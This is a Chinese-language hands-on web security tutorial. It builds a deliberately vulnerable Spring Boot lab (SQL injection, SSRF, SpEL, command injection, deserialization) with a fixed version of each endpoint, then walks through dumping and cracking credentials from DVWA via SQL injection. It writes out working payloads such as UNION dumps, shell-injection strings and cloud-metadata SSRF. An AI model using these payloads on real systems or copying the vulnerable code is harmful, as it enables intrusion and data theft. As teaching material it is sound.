// 漏洞 1:最经典的字符串拼接注入
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:直接拼接
* 攻击:http://127.0.0.1:8888/sqli/user?id=1' OR '1'='1
* http://127.0.0.1:8888/sqli/user?id=1 UNION SELECT 1,secret_name,secret_val,email,role FROM secrets--
*/
@GetMapping("/user")
public Object getUserVuln(@RequestParam String id) {
// ★ 漏洞点:用户输入直接拼进 SQL,单引号闭合后可执行任意 SQL
String sql = "SELECT * FROM users WHERE id = '" + id + "'";
System.out.println("[VULN SQL] " + sql);
try {
return jdbc.queryForList(sql);
} catch (Exception e) {
// ★ 二次漏洞:把 SQL 报错返回给前端(报错注入的前提)
return "SQL Error: " + e.getMessage();
}
}
/**
* ✅ 修复版:预编译
* 再打一次:http://127.0.0.1:8888/sqli/user-safe?id=1' OR '1'='1
* 预期:返回空列表(参数被当成一个整体字符串去匹配,没有 id 等于这么一长串)
*/
@GetMapping("/user-safe")
public Object getUserSafe(@RequestParam String id) {
// ✅ 用 ? 占位符,值通过参数传入
String sql = "SELECT * FROM users WHERE id = ?";
try {
return jdbc.queryForList(sql, id);
} catch (Exception e) {
// ✅ 不返回详细错误,只记日志
System.err.println("[SAFE] query failed: " + e.getMessage());
return Collections.emptyList();
}
}
// ═══════════════════════════════════════════════════════
// 漏洞 2:ORDER BY 注入(★ 预编译防不住的典型)
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:排序字段直接拼接
* 攻击:?field=(CASE WHEN (SELECT COUNT(*) FROM secrets)>0 THEN id ELSE username END)
* 通过"排序结果的变化"推断数据 → 布尔盲注
*/
@GetMapping("/order")
public Object orderByVuln(@RequestParam(defaultValue = "id") String field) {
// ★ 为什么这里不能用预编译?因为 ? 只能替代"值",不能替代"标识符"(列名)
String sql = "SELECT * FROM products ORDER BY " + field;
return jdbc.queryForList(sql);
}
/**
* ✅ 修复版:白名单
* ★ 这是 ORDER BY 场景唯一正确的解法
*/
@GetMapping("/order-safe")
public Object orderBySafe(@RequestParam(defaultValue = "id") String field) {
// ✅ 只允许这几个列名,其他一律拒绝
Set<String> ALLOWED = new HashSet<>(Arrays.asList("id", "name", "price", "stock"));
if (!ALLOWED.contains(field)) {
return Collections.singletonMap("error", "非法排序字段: " + field);
}
String sql = "SELECT * FROM products ORDER BY " + field;
return jdbc.queryForList(sql);
}
// ═══════════════════════════════════════════════════════
// 漏洞 3:IN 子句注入
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:IN 子句拼接
* 攻击:?ids=1) OR 1=1--
*/
@GetMapping("/in")
public Object inVuln(@RequestParam String ids) {
String sql = "SELECT * FROM users WHERE id IN (" + ids + ")";
return jdbc.queryForList(sql);
}
/**
* ✅ 修复版:拆分成数组,逐个元素占位
*/
@GetMapping("/in-safe")
public Object inSafe(@RequestParam String ids) {
// ✅ 先拆分成单个 ID
List<String> idList = Arrays.asList(ids.split(","));
// ✅ 校验每个都是数字(白名单思路)
for (String s : idList) {
if (!s.trim().matches("\\d+")) {
return Collections.singletonMap("error", "非法 ID: " + s);
}
}
// ✅ 动态生成 ? 占位符,数量与元素个数一致
String placeholders = String.join(",", Collections.nCopies(idList.size(), "?"));
String sql = "SELECT * FROM users WHERE id IN (" + placeholders + ")";
return jdbc.queryForList(sql, idList.toArray());
}
// ═══════════════════════════════════════════════════════
// 漏洞 4:LIKE 模糊查询注入
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:LIKE 拼接
* 攻击:?kw=%' UNION SELECT 1,secret_name,secret_val,email,role FROM secrets--
*/
@GetMapping("/search")
public Object searchVuln(@RequestParam String kw) {
String sql = "SELECT * FROM users WHERE username LIKE '%" + kw + "%'";
return jdbc.queryForList(sql);
}
/**
* ✅ 修复版:% 写在 SQL 里,只把关键词当参数传
*/
@GetMapping("/search-safe")
public Object searchSafe(@RequestParam String kw) {
// ✅ CONCAT 把 % 拼在 SQL 侧,kw 始终是"值"
String sql = "SELECT * FROM users WHERE username LIKE CONCAT('%', ?, '%')";
return jdbc.queryForList(sql, kw);
}
// ═══════════════════════════════════════════════════════
// 漏洞 5:数字型注入(不需要单引号)
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:虽然是 int 类型,但仍然拼接
* 攻击:?id=1 OR 1=1 (注意:不需要单引号!)
* ?id=1 UNION SELECT 1,secret_name,secret_val,email,role FROM secrets
*
* ★ 很多人以为"我用的是 int 类型,所以安全"——错。
* Spring 会把 "1 OR 1=1" 转成 1 吗?不会,因为这里声明的是 String 接收。
* 即使声明成 int,攻击者也能用 1 OR 1=1 之外的方式(如类型混淆、JSON 注入)。
*/
@GetMapping("/num")
public Object numVuln(@RequestParam String id) {
String sql = "SELECT * FROM users WHERE id = " + id;
try {
return jdbc.queryForList(sql);
} catch (Exception e) {
return "SQL Error: " + e.getMessage();
}
}
/**
* ✅ 修复版:类型校验 + 预编译
*/
@GetMapping("/num-safe")
public Object numSafe(@RequestParam String id) {
// ✅ 先做类型白名单
if (!id.matches("\\d+")) {
return Collections.singletonMap("error", "ID 必须是数字");
}
String sql = "SELECT * FROM users WHERE id = ?";
return jdbc.queryForList(sql, Integer.parseInt(id));
}
}
1.4.7 SSRF / SpEL / 命令注入 / 反序列化靶场
package com.lab.vuln.controller;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.util.*;
@RestController
public class VulnController {
// ═══════════════════════════════════════════════════════
// SSRF:服务端请求伪造
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:直接请求用户给的 URL
*
* 攻击示例:
* ?url=http://127.0.0.1:8888/actuator/env # 打自己的 Actuator
* ?url=file:///etc/passwd # 读本地文件
* ?url=http://169.254.169.254/latest/meta-data/ # 云元数据(真实云上才有)
*/
@GetMapping("/ssrf/fetch")
public String ssrfVuln(@RequestParam String url) {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
conn.setConnectTimeout(3000);
try (BufferedReader br = new BufferedReader(
new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8))) {
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null && sb.length() < 20000) {
sb.append(line).append("\n");
}
return sb.toString();
}
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
/**
* ✅ 修复版:协议白名单 + 域名白名单 + 禁重定向 + 禁内网 IP
* ★ 这是生产可用的最小实现,11 号 5.3 节有完整版
*/
@GetMapping("/ssrf/fetch-safe")
public String ssrfSafe(@RequestParam String url) {
try {
URL u = new URL(url);
// ① 协议白名单:只允许 http/https
String proto = u.getProtocol().toLowerCase();
if (!"http".equals(proto) && !"https".equals(proto)) {
return "DENY: 协议不允许 - " + proto;
}
// ② 域名白名单(生产环境应该配在配置文件里)
Set<String> ALLOWED_HOSTS = new HashSet<>(Arrays.asList(
"api.example.com", "cdn.example.com"));
String host = u.getHost();
if (!ALLOWED_HOSTS.contains(host)) {
return "DENY: 域名不在白名单 - " + host;
}
// ③ 解析 IP 并校验是否为内网/保留地址
InetAddress addr = InetAddress.getByName(host);
if (isPrivateIp(addr)) {
return "DENY: 禁止访问内网地址 - " + addr.getHostAddress();
}
// ④ 用解析到的 IP 重建 URL(★ 防 DNS Rebinding 的关键一步)
String ip = addr.getHostAddress();
URL safeUrl = new URL(proto, ip, u.getPort() == -1
? u.getDefaultPort() : u.getPort(), u.getFile());
HttpURLConnection conn = (HttpURLConnection) safeUrl.openConnection();
// ⑤ 禁止跟随重定向
conn.setInstanceFollowRedirects(false);
conn.setConnectTimeout(3000);
conn.setReadTimeout(3000);
int code = conn.getResponseCode();
if (code >= 300 && code < 400) {
return "DENY: 不允许重定向";
}
try (BufferedReader br = new BufferedReader(
new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8))) {
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null && sb.length() < 20000) {
sb.append(line).append("\n");
}
return sb.toString();
}
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
/** 判断是否为内网/保留 IP */
private boolean isPrivateIp(InetAddress addr) {
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
|| addr.isAnyLocalAddress() || addr.isLinkLocalAddress()) {
return true;
}
byte[] b = addr.getAddress();
if (b.length == 4) {
int o1 = b[0] & 0xFF, o2 = b[1] & 0xFF;
if (o1 == 10) return true; // 10.0.0.0/8
if (o1 == 172 && o2 >= 16 && o2 <= 31) return true; // 172.16.0.0/12
if (o1 == 192 && o2 == 168) return true; // 192.168.0.0/16
if (o1 == 169 && o2 == 254) return true; // ★ 169.254.0.0/16 云元数据
if (o1 == 0) return true; // 0.0.0.0/8
if (o1 == 127) return true; // 127.0.0.0/8
}
return false;
}
// ═══════════════════════════════════════════════════════
// SpEL 表达式注入
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:用 StandardEvaluationContext 解析用户输入的表达式
*
* 攻击:
* ?expr=T(java.lang.Runtime).getRuntime().exec('calc')
* ?expr=T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','id'})
* ?expr=new java.lang.ProcessBuilder(new String[]{'id'}).start()
*
* ★ 真实案例:CVE-2022-22947 Spring Cloud Gateway RCE 就是这个原理
*/
@GetMapping("/spel/calc")
public String spelVuln(@RequestParam String expr) {
ExpressionParser parser = new SpelExpressionParser();
// ★ 危险:StandardEvaluationContext 允许 T() 引用任意类、允许 new
Expression expression = parser.parseExpression(expr);
Object result = expression.getValue(new StandardEvaluationContext());
return "Result: " + result;
}
/**
* ✅ 修复版:用 SimpleEvaluationContext
* ★ 它禁止 T() 类型引用、禁止 new、禁止访问任意类的方法
*/
@GetMapping("/spel/calc-safe")
public String spelSafe(@RequestParam String expr) {
ExpressionParser parser = new SpelExpressionParser();
try {
// ✅ 只允许属性访问和简单运算
Object result = parser.parseExpression(expr)
.getValue(SimpleEvaluationContext.forReadOnlyDataBinding().build());
return "Result: " + result;
} catch (Exception e) {
return "DENY: 表达式不允许 - " + e.getClass().getSimpleName();
}
}
// ═══════════════════════════════════════════════════════
// 命令注入
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:拼字符串 + 走 shell
*
* 攻击:
* ?host=127.0.0.1; id
* ?host=127.0.0.1 && cat /etc/passwd
* ?host=127.0.0.1 | whoami
* ?host=127.0.0.1 %0a id (换行,URL 编码)
* ?host=127.0.0.1 $(whoami) (命令替换)
* ?host=127.0.0.1 `whoami` (反引号)
*/
@GetMapping("/cmd/ping")
public String cmdVuln(@RequestParam String host) {
try {
// ★ 三重危险:① 拼接 ② 走 /bin/sh ③ 没有超时
Process p = Runtime.getRuntime().exec("/bin/sh -c 'ping -c 1 " + host + "'");
return readAll(p.getInputStream());
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
/**
* ✅ 修复版:ProcessBuilder 数组传参(不经过 shell)+ 参数白名单 + 超时
*/
@GetMapping("/cmd/ping-safe")
public String cmdSafe(@RequestParam String host) {
// ✅ ① 白名单校验:只允许合法的 IP 或域名格式
if (!host.matches("[a-zA-Z0-9.\\-]{1,64}")) {
return "DENY: 非法主机名";
}
try {
// ✅ ② 数组传参,每个元素是一个独立参数,shell 元字符不生效
// ✅ ③ 不调用 /bin/sh,直接执行 ping 程序
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", host);
pb.redirectErrorStream(true);
Process p = pb.start();
// ✅ ④ 必须设超时,否则恶意输入(如 ping 一个不响应的地址)会挂住线程
if (!p.waitFor(5, java.util.concurrent.TimeUnit.SECONDS)) {
p.destroyForcibly();
return "TIMEOUT";
}
return readAll(p.getInputStream());
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
private String readAll(InputStream in) throws IOException {
try (BufferedReader br = new BufferedReader(new InputStreamReader(in))) {
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append("\n");
return sb.toString();
}
}
// ═══════════════════════════════════════════════════════
// Java 原生反序列化(★ 核弹级)
// ═══════════════════════════════════════════════════════
/**
* ❌ 漏洞版:直接反序列化 Base64 的用户输入
*
* 攻击方式(第 6 章详细讲):
* 1. ysoserial 生成 CommonsCollections 链的 payload
* 2. Base64 编码后 POST 到这里
* 3. readObject() 触发 Gadget Chain → RCE
*
* ★ 前提条件:classpath 里有 commons-collections:3.2.1(本项目的 pom 里故意加了)
*/
@PostMapping("/deser/load")
public String deserVuln(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data.trim());
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
// ★★★ 危险:readObject 会自动触发对象里的魔术方法
Object obj = ois.readObject();
return "Deserialized: " + obj.getClass().getName();
}
} catch (Exception e) {
return "Error: " + e.getClass().getName() + " - " + e.getMessage();
}
}
/**
* ✅ 修复版:JEP 290 白名单过滤
* ★ 根本解法是"不用 Java 原生序列化,改用 JSON",这里是无法避免时的兜底方案
*/
@PostMapping("/deser/load-safe")
public String deserSafe(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data.trim());
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
// ✅ 白名单:只允许这两个包下的类
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"com.lab.vuln.dto.*;java.lang.String;java.lang.Integer;!*"
));
Object obj = ois.readObject();
return "Deserialized: " + obj.getClass().getName();
}
} catch (Exception e) {
return "DENY: " + e.getClass().getSimpleName();
}
}
}
1.4.8 启动与验证
# 编译打包
cd vuln-lab
mvn clean package -DskipTests
# 启动(★ 只在 127.0.0.1 监听)
java -jar target/vuln-lab-1.0.0.jar --server.address=127.0.0.1
# 或者直接用 Maven 启动
mvn spring-boot:run -Dspring-boot.run.arguments=--server.address=127.0.0.1
验证所有接口都活着:
# SQL 注入 - 漏洞版
curl "http://127.0.0.1:8888/sqli/user?id=1"
# 预期:[{"ID":1,"USERNAME":"admin","PASSWORD":"admin123",...}]
curl "http://127.0.0.1:8888/sqli/user?id=1' OR '1'='1"
# 预期:返回全部 4 个用户(注入成功!)
# SQL 注入 - 修复版
curl "http://127.0.0.1:8888/sqli/user-safe?id=1' OR '1'='1"
# 预期:[](空数组,注入失败 ✓)
# SSRF
curl "http://127.0.0.1:8888/ssrf/fetch?url=file:///etc/passwd"
# 预期:返回 /etc/passwd 内容
curl "http://127.0.0.1:8888/ssrf/fetch-safe?url=file:///etc/passwd"
# 预期:DENY: 协议不允许 - file
# SpEL
curl -G "http://127.0.0.1:8888/spel/calc" --data-urlencode "expr=T(java.lang.Runtime).getRuntime().exec('id')"
# 预期:Result: Process[pid=xxxx, ...](命令执行了!)
curl -G "http://127.0.0.1:8888/spel/calc-safe" --data-urlencode "expr=T(java.lang.Runtime).getRuntime().exec('id')"
# 预期:DENY: 表达式不允许 - SpelEvaluationException
# 命令注入
curl -G "http://127.0.0.1:8888/cmd/ping" --data-urlencode "host=127.0.0.1; id"
# 预期:ping 结果 + uid=xxx(id 的输出)
curl -G "http://127.0.0.1:8888/cmd/ping-safe" --data-urlencode "host=127.0.0.1; id"
# 预期:DENY: 非法主机名(分号不在白名单字符里)
# Actuator(第 7 章用)
curl "http://127.0.0.1:8888/actuator/env" | head -50
# 预期:能看到数据库连接串等配置
★ 如果全部符合预期,说明靶场搭好了。后面的实验都基于它。
1.5 攻击工具安装
1.5.1 sqlmap
# 方式一:pip(最简单)
pip3 install sqlmap
# 方式二:源码(推荐,更新及时)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git ~/tools/sqlmap
echo 'alias sqlmap="python3 ~/tools/sqlmap/sqlmap.py"' >> ~/.bashrc
source ~/.bashrc
# 验证
sqlmap --version
# 预期输出:1.8.2#stable
1.5.2 ysoserial(Java 反序列化利用)
mkdir -p ~/tools && cd ~/tools
# 下载编译好的 jar(约 60MB)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar \
-O ysoserial-all.jar
# 验证:列出所有可用的 Gadget Chain
java -jar ysoserial-all.jar
# 预期输出(部分):
# Payload Authors: ...
# Available payload types:
# AspectJWeaver BeanShell1 C3P0 Click1
# CommonsBeanutils1 CommonsCollections1 ... CommonsCollections7
# Groovy1 Hibernate1 JBossInterceptors1
# JRMPClient JSON1 JavassistWeld1
# Jdk7u21 MozillaRhino1 Myfaces1
# ROME ScriptEngine Spring1 Spring2
# URLDNS Vaadin1 Wicket1
# ★ 测试生成一个探测用的 payload(DNS 查询型,无副作用)
java -jar ysoserial-all.jar URLDNS "http://your-dnslog-domain.dnslog.cn" | base64 -w0
名词解释:DNSLog —— 一个免费服务,给你一个专属域名,任何人访问这个域名(包括 DNS 解析)都会被记录。用来验证“目标是不是真的执行了我的 payload”,尤其是那些没有回显的漏洞(盲打)。常用:dnslog.cn、ceye.io、burpcollaborator.net。
1.5.3 Nuclei(漏洞扫描器)
# 方式一:下载二进制(推荐)
# 去 https://github.com/projectdiscovery/nuclei/releases 下载对应平台的包
# Linux 示例:
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.1.0/nuclei_3.1.0_linux_amd64.zip
unzip nuclei_3.1.0_linux_amd64.zip
sudo mv nuclei /usr/local/bin/
# 方式二:go install(需要 Go 1.21+)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 更新漏洞模板(★ 第一次用必须做)
nuclei -update-templates
# 验证
nuclei -version
# 预期输出:Nuclei Engine Version: 3.1.0
1.5.4 ffuf(模糊测试)
# 下载二进制
wget https://github.com/ffuf/ffuf/releases/download/v2.1.0/ffuf_2.1.0_linux_amd64.tar.gz
tar -xzf ffuf_2.1.0_linux_amd64.tar.gz
sudo mv ffuf /usr/local/bin/
# 验证
ffuf -V
# 预期输出:ffuf v2.1.0
1.5.5 其他工具
# redis-cli(第 5、7 章要用)
# Ubuntu/Debian:
sudo apt install -y redis-tools
# macOS:
brew install redis
# 验证:
redis-cli --version
# nc(反弹 shell 接收端,各章都要用)
sudo apt install -y netcat-openbsd # Debian/Ubuntu
# macOS 自带 nc
# jq(处理 JSON 响应很方便)
sudo apt install -y jq
# gitleaks(第 9 章密钥扫描)
wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gz
tar -xzf gitleaks_8.18.0_linux_x64.tar.gz
sudo mv gitleaks /usr/local/bin/
# trivy(镜像/依赖漏洞扫描)
wget https://github.com/aquasecurity/trivy/releases/download/v0.48.0/trivy_0.48.0_Linux-64bit.tar.gz
tar -xzf trivy_0.48.0_Linux-64bit.tar.gz
sudo mv trivy /usr/local/bin/
1.5.6 Burp Suite Community Edition
1. 下载:https://portswigger.net/burp/communitydownload
2. 安装并启动
3. 配置浏览器代理:127.0.0.1:8080
★ 推荐用 Firefox + FoxyProxy 插件,方便切换开关
4. 访问 http://burp 下载 CA 证书并安装(抓 HTTPS 必须)
→ Firefox: 设置 → 隐私与安全 → 查看证书 → 导入
5. Proxy → Intercept 打开拦截,访问靶场就能看到请求了
★ Burp 的三个核心功能(本文全程在用):
| 功能 | 位置 | 用途 |
|---|---|---|
| Proxy / Intercept | Proxy 标签 | ★ 拦截并修改请求(改参数、加 payload) |
| Repeater | 右键请求 → Send to Repeater | ★ 反复重放同一个请求,改一个字符看响应变化(手工注入全靠它) |
| Intruder | 右键 → Send to Intruder | 自动化爆破(但 Community 版有限速,批量用 ffuf 更快) |
1.6 网络隔离与安全收尾(★ 每次实验完都要做)
1.6.1 检查有没有端口意外暴露到公网
# 查看所有端口映射(★ 重点看 0.0.0.0 的)
docker ps --format "table {{.Names}}\t{{.Ports}}"
# 预期:所有端口都应该是 127.0.0.1:xxxx 开头
# 如果看到 0.0.0.0:8080->80/tcp,说明暴露了,要重建容器
# 从宿主机外部检查(用另一台机器或手机扫你的 IP)
# 假设你的局域网 IP 是 192.168.1.100
nmap -p 1-10000 192.168.1.100
# 预期:不应该看到 8080/3000/8888 等靶场端口
1.6.2 一键清理所有靶场
# 停止所有正在运行的容器
docker stop $(docker ps -q)
# 删除所有已停止的容器
docker container prune -f
# 删除靶场网络
docker network rm lab-net
# (谨慎)删除所有未被使用的镜像,释放磁盘
docker image prune -a -f
# ★ 一键脚本,保存为 cleanup.sh
cat > cleanup.sh <<'EOF'
#!/usr/bin/env bash
echo "停止所有容器..."
docker stop $(docker ps -q) 2>/dev/null
echo "删除所有容器..."
docker container prune -f
echo "删除靶场网络..."
docker network rm lab-net 2>/dev/null
echo "剩余容器: $(docker ps -aq | wc -l)"
echo "剩余网络:"; docker network ls
EOF
chmod +x cleanup.sh
1.6.3 实验环境检查清单
实验开始前:
□ 靶场网络 lab-net 已创建
□ 所有端口都绑定 127.0.0.1
□ 靶场容器不在生产网络里
□ 准备好 dnslog.cn 的域名(盲打实验用)
实验结束后:
□ 复测已通过(攻击失败)
□ 容器已停止或清理
□ 实验记录已保存(命令 + 输出 + 截图)
□ 笔记里写好了"面试怎么讲"
第二章:SQL 注入实战(从 1' or 1=1 到拖库到 GetShell)
本章目标:完整走一遍 SQL 注入的全链路——从发现注入点,到拖走整个数据库,再到拿到服务器权限,最后修复并复测。
实验环境:DVWA(MySQL)+ 自建 Spring Boot 靶场(H2)
预计耗时:3 小时
2.0 前置:给 DVWA 建一个“随手打”的脚本
DVWA 需要登录后带着 Cookie 才能访问漏洞页面,每次手写 curl 很麻烦。先做两个脚本。
2.0.1 自动登录脚本
#!/usr/bin/env bash
# save as dvwa-login.sh
# 用法:source dvwa-login.sh (用 source,让变量留在当前 shell)
BASE="http://127.0.0.1:8080"
COOKIE_JAR=$(mktemp)
# ① 先访问登录页,拿到 PHPSESSID 和 user_token
TOKEN=$(curl -s -c "$COOKIE_JAR" "$BASE/login.php" \
| grep -oP "name='user_token' value='\K[^']+")
# ② 提交登录(带上 token,DVWA 有简单的 CSRF 防护)
curl -s -b "$COOKIE_JAR" -c "$COOKIE_JAR" -X POST "$BASE/login.php" \
-d "username=admin" -d "password=password" \
-d "user_token=$TOKEN" -d "Login=Login" -o /dev/null
# ③ 设置安全等级为 low
curl -s -b "$COOKIE_JAR" -c "$COOKIE_JAR" -X POST "$BASE/security.php" \
-d "security=low" -d "seclev_submit=Submit" -o /dev/null
export DVWA_COOKIE=$(awk '/PHPSESSID/{print "PHPSESSID="$7}' "$COOKIE_JAR")
export DVWA_FULL_COOKIE="$DVWA_COOKIE; security=low"
echo "Cookie: $DVWA_FULL_COOKIE"
chmod +x dvwa-login.sh
source dvwa-login.sh
# 预期输出:Cookie: PHPSESSID=abc123...; security=low
# 验证登录有效
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" | grep -oP "First name: \K[^<]*"
# 预期输出:admin
2.0.2 快捷请求函数
# 加到 ~/.bashrc,之后 dvwa "id=1" 就能打
dvwa() {
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/sqli/?$1&Submit=Submit" \
| sed -e 's/<[^>]*>//g' | grep -v '^\s*$'
}
# 用法
dvwa "id=1"
# 预期输出:
# ID: 1
# First name: admin
# Surname: admin
2.1 手工注入:五步拖库法
★ 强烈建议先用手工做一遍,再用 sqlmap。 原因:sqlmap 会把几十步操作自动化,你根本不知道它干了什么。手工做过一遍之后,你才能看懂 sqlmap 的输出,也才能在面试官问“sqlmap 底层原理”时答上来。
第一步:判断是否存在注入
# ① 正常请求
dvwa "id=1"
# ID: 1 / First name: admin / Surname: admin
# ② 加单引号 —— 如果报错,说明单引号被带进了 SQL
dvwa "id=1'"
# 预期输出(关键!):
# You have an error in your SQL syntax; check the manual that corresponds to
# your MySQL server version for the right syntax to use near ''1''' at line 1
#
# ★ 注意报错里的 ''1''' —— 说明原始 SQL 是 ... WHERE user_id = '1''
# 我们输入的是 1' ,拼进去变成 '1'' ,多了一个单引号 → 语法错误
# → 确认:输入被直接拼进了 SQL,且用单引号包裹
# ③ 用 and 判断(★ 这是最经典的判断手法)
dvwa "id=1' and '1'='1"
# 预期:正常返回 admin(因为 '1'='1' 恒真)
dvwa "id=1' and '1'='2"
# 预期:无返回(因为 '1'='2' 恒假,WHERE 条件不成立)
#
# ★★ 如果 ③ 的两次结果"一次有数据一次没数据",【100% 确认存在注入】
原理图解:
原始 SQL: SELECT first_name, last_name FROM users WHERE user_id = '[输入]'
输入 1 → WHERE user_id = '1' → 正常
输入 1' → WHERE user_id = '1'' → 语法错误 ★ 暴露了拼接
输入 1' and '1'='1 → WHERE user_id = '1' and '1'='1' → 真 AND 真 = 真 → 有数据
输入 1' and '1'='2 → WHERE user_id = '1' and '1'='2' → 真 AND 假 = 假 → 无数据
↑ 看到了吗?我们输入的 ' 闭合了原本的单引号,
然后 and 后面变成了一段【我们能控制的 SQL 代码】
—— 这就是"数据与指令未分离"
第二步:猜字段数(ORDER BY 二分法)
UNION 注入要求前后两条 SELECT 的字段数必须一致,所以要先知道原查询有几个字段。
# 用 ORDER BY N 试探,N 超过字段数就报错
dvwa "id=1' ORDER BY 1-- " # 正常
dvwa "id=1' ORDER BY 2-- " # 正常
dvwa "id=1' ORDER BY 3-- " # 报错:Unknown column '3' in 'order clause'
# → 说明原查询有 2 个字段
# ★ 注意 -- 后面要有空格(MySQL 注释符要求),URL 里空格要写成 + 或 %20
# 用 --+ 是最稳的写法(+ 在 URL 里被解析成空格)
名词解释:注释符 —— SQL 里
--(注意后面有空格)、#、/* */都是注释。我们在 payload 末尾加注释,是为了把原 SQL 后面剩下的部分(比如那个多余的'和LIMIT)注释掉,避免语法错误。
第三步:找回显位(UNION SELECT)
dvwa "id=1' UNION SELECT 1,2-- "
# 预期输出:
# ID: 1' UNION SELECT 1,2--
# First name: 1 ← 第 1 个字段显示在这里
# Surname: 2 ← 第 2 个字段显示在这里
#
# ★ 我们看到了 1 和 2,说明这两个位置的数据会被显示在页面上
# 后面就把想查的数据填到这两个位置
# 如果只看到原数据没看到 1、2,说明页面只显示第一条记录
# 解决:把前面的 id 改成不存在的值(让第一条查不到)
dvwa "id=-1' UNION SELECT 1,2-- "
# 或
dvwa "id=999' UNION SELECT 1,2-- "
第四步:拖数据(★ 收获时刻)
# ① 当前数据库名、用户、版本
dvwa "id=-1' UNION SELECT database(),user()-- "
# 预期:First name: dvwa Surname: root@localhost
dvwa "id=-1' UNION SELECT @@version,@@datadir-- "
# 预期:First name: 5.7.36 Surname: /var/lib/mysql/
# ② 列出所有数据库名
dvwa "id=-1' UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata-- "
# 预期:Surname: information_schema,dvwa,mysql,performance_schema,sys
#
# ★ group_concat() 把多行结果合并成一行,这样才能在一次回显里看到全部
# ③ 列出 dvwa 库的所有表名
dvwa "id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'-- "
# 预期:Surname: guestbook,users
# ④ 列出 users 表的所有列名
dvwa "id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- "
# 预期:Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
# ⑤ ★★ 拖走账号密码(本次实验的终极目标)
dvwa "id=-1' UNION SELECT group_concat(user),group_concat(password) FROM users-- "
# 预期:
# First name: admin,gordonb,1337,pablo,smithy
# Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,...
#
# ★ 这些是 MD5。拿去 cmd5.com 或本地 john 破解:
# 5f4dcc3b5aa765d61d8327deb882cf99 = password
# e99a18c428cb38d5f260853678922e03 = abc123
本地破解 MD5:
# 方式一:john(需安装)
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
# 方式二:hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# 方式三:Python 查彩虹表(自己实现,理解原理)
python3 -c "
import hashlib
target='5f4dcc3b5aa765d61d8327deb882cf99'
for w in ['123456','password','abc123','admin','letmein','12345678']:
if hashlib.md5(w.encode()).hexdigest()==target:
print('FOUND:',w); break
"
# 输出:FOUND: password
★ 反思时刻:看看
dvwa库里存的是 MD5 明文哈希,而且没加盐。这意味着:
- 拖库后直接就能查彩虹表还原密码
- 如果用户在多个站点用同一密码 → 撞库
- 正确做法见 11 号 4.1 节:BCrypt / Argon2id 慢哈希
第五步:确认战果
# 用拖到的密码登录验证
curl -s -c /tmp/c2 "http://127.0.0.1:8080/login.php" -o /dev/null
TOKEN2=$(curl -s -b /tmp/c2 "http://127.0.0.1:8080/login.php" | grep -oP "name='user_token' value='\K[^']+")
curl -s -b /tmp/c2 -X POST "http://127.0.0.1:8080/login.php" \
-d "username=gordonb" -d "password=abc123" \
-d "user_token=$TOKEN2" -d "Login=Login" \
| grep -oP "Welcome \K[^<]*"
# 预期输出:Welcome gordonb
✓ 至此,你完成了一次完整的拖库。如果这是真实网站,你手上现在有它所有用户的账号密码。
2.2 sqlmap 全自动实战
2.2.1 基础用法
# 最简形式:指定 URL + Cookie
sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="$DVWA_FULL_COOKIE" \
--batch
★ --batch 很重要:它让 sqlmap 自动选择默认选项,不用你一路按回车。
预期输出(精减):
___
__H__
___ ___[(]_____ ___ ___ {1.8.2#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
